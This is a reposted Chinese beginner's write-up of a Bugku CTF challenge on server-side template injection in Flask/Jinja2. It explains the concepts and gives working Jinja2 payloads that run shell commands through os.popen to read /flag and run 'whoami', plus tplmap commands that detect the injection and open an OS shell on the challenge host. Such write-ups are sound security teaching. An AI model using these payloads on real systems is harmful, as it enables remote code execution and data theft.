【精选】Bugku CTF

您所在的位置:网站首页 ctf中web各种题目的解题姿势 【精选】Bugku CTF

【精选】Bugku CTF

2023-11-14 12:47| 来源: 网络整理| 查看: 265

目录

知识前提

一.题目

二 .理解和学习

三.总结

我们在作为新手去开始进行这些题目的联系的时候只知道一些操作,而不知道原理,这里为新手简单介绍一些SSTI的概念和操作。

知识前提

我们通过实例去一起学习。学习这个之前,我们要知道以下几点:

(1)什么是CTF(Capture The Flag) 

(2)CTF题目类型(我们今天讲解的是WEB类型中注入问题):

1.MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。

2.PPC(Professionally Program Coder)类型,即编程类题目,题目涉及到编程算法,相比ACM较为容易。

3.CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。

4.PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。

5.REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。

6.STEGA(Steganography)类型,即隐写术,题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛者获取。

7.WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。

(3)这里我们关注点在WEB的注入(这里的注入特指模板注入)上:我们可以看见题目为SSTI,就知道这个是模板注入。

(ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。)

模板:简单理解类似于作文模板,只需要往里面填写需要的参数

模板引擎:

ZWPF0M5W_CR_NEUY6H46__W

 

这里提供几个解释概念和基操很好的几个博客(非常适合新手去了解一些基础的概念):

浅谈模板引擎 - 木的树 - 博客园 (cnblogs.com)icon-default.png?t=LA92https://www.cnblogs.com/dojo-lzz/p/5518474.html

flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)icon-default.png?t=LA92https://xz.aliyun.com/t/3679

(4)可以用的平台(我们信安老师推荐):攻防世界、BUGKU、合天网安等(不仅限这个)

这后面的学习中这里用的是BUGKU

一.题目

二 .理解和学习

对于这一类的题目,虽然操作比较容易,但是没有去理解,会发现,得到答案后自己也一脸雾水,很迷糊。

方法1:这个主要使用的是python的flask框架的模板注入

(popen,中可找file读取文件)

手工注入payload:/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

就是将payload置于网页的URL之后,获取flag参数

结果:(之后输入即可)

理解这个payload:

config为对象;

__class__:返回对象所属类;

__init__:类的初始方法,用以初始化实例;

__globals__(也可用func_globals):以字典返回内建模块;

OS就是返回字典里面的的一个模块

popen()返回一个输出流,通过read()读取里面的数据

----------------------------------------------------------

payload的构造过程:

(1)明确要利用的目标函数;

(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。

(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。

(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)

(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)

(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。

常用的payload:

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}

// os._wrap_close类中的popen {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// __import__方法 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

// __builtins__ {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// Jinja2创建的url_for()方法 {{url_for.__globals__.os.popen("cat /flag").read()}}  

其他的框架:

 

 2.方法2:是使用 tplmap(较简单)

使用lunix环境

git clone https://github.com/epinna/tplmap

cd tplmap

sudo yum install python-pip -y||sudo apt install python-pip #安装py2的pip

pip install -r requirements.txt  

操作:

#探测注入点 ./tplmap.py -u 'http://114.67.175.244:10463/?flag'

#获取shell ./tplmap.py -u 'http://114.67.175.244:10463/?flag' --os-shell

三.总结

        这一篇是第一次去接触CTF所写,有批评指正。我从开始看着SSTI题型完全不知道思路,到现在目前知道做法以及知道一些基本的概念,只有这样才能去刷题。

 

引用:

(33条消息) SSTI的payload构造思路_shawdow_bug的博客-CSDN博客_payload构造icon-default.png?t=LA92https://blog.csdn.net/shawdow_bug/article/details/116109433



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3